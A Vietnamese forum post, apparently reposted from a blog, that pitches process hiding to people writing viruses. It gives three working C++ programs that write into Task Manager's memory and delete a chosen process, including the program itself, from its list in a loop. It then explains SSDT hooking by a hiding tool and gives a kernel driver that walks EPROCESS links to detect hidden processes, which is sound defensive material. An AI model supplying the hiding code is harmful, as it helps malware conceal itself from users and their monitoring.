Ngày nay,kỹ thuật Ẩn Process Bằng Rootkit đã được sử dụng quá nhiều,Nếu bạn định "Làm" 1 con virus mà ẩn Process Rootkit hoặc sử dụng Driver trong chương trình,tôi có thể đảm bảo rằng "virus" mà bạn tạo ra sẽ bị Anti detect và tiêu diệt ngay tức thì,mặt khác,việc load Driver là rất dễ dàng trên windows XP,nhưng nó thật sự là vấn đề nếu như bạn chạy trên các hệ điều hành UAC ( windows vista,windows 7 ) xu hướng của Viruser bây giờ lại quay trở về "thời kỳ đồ đá",nghĩa là sử dụng các kỹ thuật càng đơn giản càng tốt,càng giống 1 "phần mềm" càng tốt

đây là 1 đoạn code "ẩn Process" viết trên win32API,cơ chế thì khá giống như bài viết tại đây Ẩn Process trong Taskmanager với lập trình C#


Mã:
#include <windows.h>#include <iostream>#include <commctrl.h>//Bài viét thuộc về cộng đồng CvietBOOL CALLBACK EnumChildProcedure(HWND hWnd,LPARAM lParam){    char name[256];    GetWindowText(hWnd,name,256);       char ClassName[256];       GetClassName(hWnd,ClassName,256);    LVFINDINFO   info;       memset(&info,0,sizeof(LVFINDINFO));     DWORD   nIndex;       int Id;       char temp[]="taskmgr.exe";    //this name can be changed to the name of the desired program to be hidden    //i chose taskmgr.exe for this example because everybody will have that program in common if they are testing my program and checking task manager    info.flags   = LVFI_STRING |LVFI_PARTIAL;    if((strcmp(ClassName,"SysListView32")==0)&&(strcmp(name,"Processes")==0))       {              GetWindowThreadProcessId(hWnd,(LPDWORD)&nIndex);              HANDLE   Process=OpenProcess(PROCESS_ALL_ACCESS,FALSE, nIndex);              if(0<Process)              {                        void   *Address=VirtualAllocEx(Process,NULL,sizeof(info),MEM_RESERVE|MEM_COMMIT,PAGE_READWRITE);                     void   *Addressx=VirtualAllocEx(Process,NULL,sizeof(temp),MEM_RESERVE|MEM_COMMIT,PAGE_READWRITE);                     WriteProcessMemory(Process,Addressx,&temp,sizeof(temp),0);                        info.psz=(char*)Addressx;                     WriteProcessMemory(Process,Address,&info,sizeof(info),0);                        Id=SendMessage(hWnd,LVM_FINDITEM,-1,(LPARAM) Address);                     if(Id!=-1)                            SendMessage(hWnd,LVM_DELETEITEM,Id,0);              }             }       if(name==NULL)              return FALSE;       return TRUE;} void Vigil(){    HWND hWnd = NULL;    hWnd = ::FindWindow(NULL,"Windows Task Manager");    if(!hWnd)    {        return;    }    EnumChildWindows(hWnd,EnumChildProcedure,NULL);}int main(){    while(1)    {        Vigil();        Sleep(10);    }    return 0;}
Mã:
#include <windows.h>#include <iostream>#include <commctrl.h> bool DeleteItemProcess(__in char* szProcessNameHide,__in DWORD dwPidProcessTaskMgr,                       __in HWND hwndTaskMgr,__in LVFINDINFO info){        int iListBox = 0;     HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE, dwPidProcessTaskMgr);          if(hProcess > 0)          {                    void *vAddress=VirtualAllocEx(hProcess,NULL,sizeof(info),            MEM_RESERVE|MEM_COMMIT,PAGE_READWRITE);                 void *vAddressx=VirtualAllocEx(hProcess,NULL,sizeof(szProcessNameHide),            MEM_RESERVE|MEM_COMMIT,PAGE_READWRITE);                 if (WriteProcessMemory(hProcess,vAddressx,&szProcessNameHide,            sizeof(szProcessNameHide),0) == FALSE)        {            return false;        }          info.psz = (char*)vAddressx;                 if (WriteProcessMemory(hProcess,vAddress,&info,sizeof(info),0) == FALSE)        {            return false;        }                 iListBox = SendMessage(hwndTaskMgr,LVM_FINDITEM,-1,(LPARAM) vAddress);                 if(iListBox != -1)             {            SendMessage(hwndTaskMgr,LVM_DELETEITEM,iListBox,0);             return true;        }    }     return false;}BOOL CALLBACK EnumChildProcedure(HWND hwndTaskMgr,LPARAM lParam){    char szWindowText[256];    GetWindowText(hwndTaskMgr,szWindowText,256);       char szCLassName[256];       GetClassName(hwndTaskMgr,szCLassName,256);    DWORD dwPidProcess;      char szProcessHide[] = "taskmgr.exe";     LVFINDINFO info;    memset(&info,0,sizeof(LVFINDINFO));     info.flags   = LVFI_STRING |LVFI_PARTIAL;    if((strcmp(szCLassName,"SysListView32")==0)&&(strcmp(szWindowText,"Processes")==0))       {              GetWindowThreadProcessId(hwndTaskMgr,(LPDWORD)&dwPidProcess);              if (DeleteItemProcess(szProcessHide,dwPidProcess,hwndTaskMgr,info) == false)        {            return TRUE;        }    }       if(szWindowText==NULL)              return FALSE;       return TRUE;} void Vigil(){    HWND hwndTaskMgr = NULL;    hwndTaskMgr = ::FindWindow(NULL,"Windows Task Manager");    if(!hwndTaskMgr)    {        return;    }    EnumChildWindows(hwndTaskMgr,EnumChildProcedure,NULL);}int main(){    while(1)    {        Vigil();        Sleep(10);    }    return 0;}
hoặc


Mã:
#ifdef UNICODE#undef UNICODE#endif#ifdef _UNICODE#undef _UNICODE#endif #include <windows.h>#include <iostream>#include <commctrl.h>#include <string>#define WINDOW_CLASSNAME_TASKMGR_PARENT1 "Windows Task Manager"#define WINDOW_TITLE_TASKMGR_PARENT2 "Processes"#define WINDOW_CLASSNAME_TASKMGR_PARENT2 "SysListView32" bool DeleteItemFromListTaskMgr(__in const char* szProcessNameHide,__in DWORD dwPidProcessTaskMgr,                               __in HWND &hwndTaskMgr){    int i;    LVITEMA lviItemProcess, *lviListItem_Process;    char szItemProcess[512];    char *szItem;    int iNumProcess = (int)SendMessage(hwndTaskMgr, LVM_GETITEMCOUNT, 0, 0);     HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION|PROCESS_VM_READ|        PROCESS_VM_WRITE|PROCESS_QUERY_INFORMATION, FALSE, dwPidProcessTaskMgr);    lviListItem_Process = (LVITEMA*)VirtualAllocEx(hProcess, NULL, sizeof(LVITEMA),        MEM_COMMIT, PAGE_READWRITE);     szItem = (char*)VirtualAllocEx(hProcess, NULL, 512, MEM_COMMIT,PAGE_READWRITE);     lviItemProcess.cchTextMax = 512;    for(i=0; i < iNumProcess; i++)    {        lviItemProcess.iSubItem = 0;        lviItemProcess.pszText = szItem;        WriteProcessMemory(hProcess, lviListItem_Process, &lviItemProcess, sizeof(LVITEMA), NULL);        SendMessage(hwndTaskMgr, LVM_GETITEMTEXTA, (WPARAM)i, (LPARAM)lviListItem_Process);        ReadProcessMemory(hProcess, szItem, szItemProcess, 512, NULL);        if (strstr(szItemProcess,szProcessNameHide) != NULL )         {            SendMessage(hwndTaskMgr, LVM_DELETEITEM, (WPARAM)i, (LPARAM)lviListItem_Process);        }    }    VirtualFreeEx(hProcess, lviListItem_Process, 0, MEM_RELEASE);    VirtualFreeEx(hProcess, szItem, 0, MEM_RELEASE);    return true;}BOOL CALLBACK EnumWindowTaskMgr(__in HWND hwndTaskMgr,__out LPARAM lParam){    char szClassName[150];    char szWindowText[150];    GetWindowTextA(hwndTaskMgr,szWindowText,149);    GetClassNameA(hwndTaskMgr,szClassName,249);    if (strstr(szWindowText,WINDOW_TITLE_TASKMGR_PARENT2) &&         strstr(szClassName,WINDOW_CLASSNAME_TASKMGR_PARENT2) !=NULL)    {        *((HWND *) lParam) = hwndTaskMgr;        return FALSE;    }    *((HWND *) lParam) = NULL;    return TRUE;}   bool FindHWND_DeleteList(__in const char* szProcessNameHide){    HWND hwndTaskmgrRoot = FindWindowA(0,WINDOW_CLASSNAME_TASKMGR_PARENT1);    if (hwndTaskmgrRoot == NULL)    {        return false;    }    HWND hwndTaskmgrTabProcess = NULL;    EnumChildWindows(hwndTaskmgrRoot,EnumWindowTaskMgr,(LPARAM)&hwndTaskmgrTabProcess);    if (hwndTaskmgrTabProcess == NULL)    {        return false;    }    DWORD dwPidProcessTaskMgr;    GetWindowThreadProcessId(hwndTaskmgrTabProcess, &dwPidProcessTaskMgr);     if (dwPidProcessTaskMgr < 0)    {        return false;    }    if (DeleteItemFromListTaskMgr(szProcessNameHide,dwPidProcessTaskMgr,        hwndTaskmgrTabProcess) == false)    {        return false;    }    return true;} int main(void){    std::string AppName;    char AppPath[256];    ::GetModuleFileNameA(0, AppPath, MAX_PATH);    AppName = AppPath;    AppName = AppName.substr(AppName.rfind("\\") + 1);    while (true)    {        Sleep(30);        FindHWND_DeleteList(AppName.c_str());    }    return 0;}
Nếu bạn yêu thích Rootkit có thể tham khảo bài viết này,tuy nhiên nếu bạn định theo rootkit thì chắc là ko "ổn" đâu [IMG]images/smilies/wink.png[/IMG]


Tool này hook một số hàm trong System Server Table:
NtClose(CloseHandle )kernel32.dll
NtDuplicateObject(DuplicateHandle) kernel32.dll
NtInitiatePowerAction
NtMapViewOfSection(NtMapViewOfSection)ntdll.dll
NtOpenThread(OpenThread) kernel32.dll
NtQueryInformationProcess(NtQueryInformationProces s) ntdll.dll
NtQuerySystemInformation(NtQuerySystemInformation) ntdll.dll
NtRaiseHardError
NtResumeThread(ResumeThread) kernel32.dll
NtSetInformationThread
NtSetSystemPowerState
NtShutdownSystem
NtTerminateProcess(TerminateProcess) kernel32.dll
NtWriteFile
NtWriteFileGather

Và tool này không sửa struct _LIST_ENTRY ActiveProcessLinks; mà tôi sẽ dùng để dò tất cả các đối tượng EProcess của các Process Active tham khảo từ bài viết của Thug4lift3 ở link trên .

Cách thứ nhất Ta sẽ unhook tất cả các hàm trên,để Process hide show trở lại ta chỉ cần unhook hàm NtQuerySystemInformation.Để unhook ta chỉ cần sửa lại address của hàm trong System service của System Server Table.

Trong cuốn undocument win2k secret có định nghĩa 2 cấu trúc sau:
Mã:
typedef _SERVICE_DESCRIPTOR_TALBE {             _SYSTEM_SERVICE_TABLE           ntoskrnl;/toskrnl.exe (native api)             _SYSTEM_SERVICE_TABLE           win32k;//win32k.sys (gdi,user suport)             _SYSTEM_SERVICE_TABLE            table3;/ot user             _SYSTEM_SERVICE_TABLE           table 4;/ot user                       }  typedef _SYSTEM_SERVICE_TALBE {             PNTPROC ServiceTable;//array of entry points             PDWORD CounterTable;//                  DWORD         ServiceLimit;/umber of table entries             PBYTE            ArgumentTable//array  number byte of argument }

Cấu trúc _SERVICE_DESCRIPTOR_TALBE lưu 4 cấu trúc _SYSTEM_SERVICE_TABLE đó ntoskrnl table lưu thông tin về cac native api
Và ID lưu trong EAX trước khi gọi ngắt từ user mode chuyển vào Kernel mode trong khoảng -0x0000 -> 0x0FFF (table 1 ntoskrnl.exe)
Tiếp theo ta có ID dispatch của các cấu trúc _SYSTEM_SERVICE_TABLE kế tiếp:
-0x1000 -> 0x1FFF (table 2)
-0x2000 -> 0x2FFF (table 3)
-0x3000 -> 0x3FFF (table 4)

Đề dò đúng _SYSTEM_SERVICE_TABLE trong _SERVICE_DESCRIPTOR_TALBE sẽ kiểm tra bit 12 và 13

Bit 0 đến 11 để tham chiếu đến address của hàm native API trong ServiceTable của cấu trúc _SYSTEM_SERVICE_TALBE.


Cách 2 cách tui đã đề cập ở trên dựa vào _LIST_ENTRY ActiveProcessLinks trong Eprocess.

Cấu trúc của một EPRPCESS trong Win XP SP3: msuiche.net/msdn/winxpsp3_x86/EPROCESS.php
Đặc biết cấu trúc này không được định nghĩa trong DDK có thể Microsoft không muốn ta can thiệp sâu vào nó nên bạn cần phải định nghĩa một con trỏ của cấu trúc này để sử dụng

Địnhg nghĩa một cấu trúc _LIST_ENTRY
typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink;
struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY;

Flink là con trỏ lưu address của cấu trúc _LIST_ENTRY kế tiếp.Còn Blink là con trỏ lưu cấu trúc _LIST_ENTRY phía trước.Bạn xem hình sau sẽ thấy rõ tui sẽ không cần phải giải thích thêm.



Từ address ActiveProcessLinks ta trừ đi offset 0x88 sẽ tìm được address của một struct EPROCESS.Từ đây bạn sẽ lấy được Image File Name (UINT8 ImageFileName[16]; trong struct EPROCESS) ngoai ra bạn có thể dựa vào PID của Process (VOID* UniqueProcessId .v.v. để detect process hide bởi HideToolz.

Source Example:
ExDetectProcHideToolz.c
Mã:
#include   void MyDriverUnload (IN PDRIVER_OBJECT DriverObject); void LinkGetNext(PLIST_ENTRY *pCurLstEn); void GetImgFileNameFormListEntry(PLIST_ENTRY pCurLstEn);  NTSTATUS DriverEntry (PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {             PLIST_ENTRY pCurLstEn;             PLIST_ENTRY LBreak;                         LBreak=pCurLstEn=(PLIST_ENTRY)((ULONG)PsInitialSystemProcess+0x88);             GetImgFileNameFormListEntry(pCurLstEn);             LinkGetNext(&pCurLstEn);              while (pCurLstEn->Flink!=LBreak)             {                         GetImgFileNameFormListEntry(pCurLstEn);                         LinkGetNext(&pCurLstEn);             }              DriverObject-> DriverUnload = MyDriverUnload;             return STATUS_SUCCESS; }  void MyDriverUnload (IN PDRIVER_OBJECT DriverObject) {             DbgPrint ("Driver Unload 
"); }  void LinkGetNext(PLIST_ENTRY *pCurLstEn) {             PLIST_ENTRY LstEnTemp;             LstEnTemp=*pCurLstEn;             *pCurLstEn=LstEnTemp->Flink; }  void GetImgFileNameFormListEntry(PLIST_ENTRY pCurLstEn) {             DbgPrint("ImgFileName:%s
",(PUINT8)((ULONG)pCurLstEn-0x88+0x174)); }
Build source trên và dùng KmdManager.exe để nap driver hoặc bạn có thể code riêng để nạp driver . Sau đó mở Dbgview.exe rồi run driver sau đó xem string Dbgview đã capture được.

Nguồn: rootbiez.blogspot.com/2010/05/rootkit-detect-hide-processes.html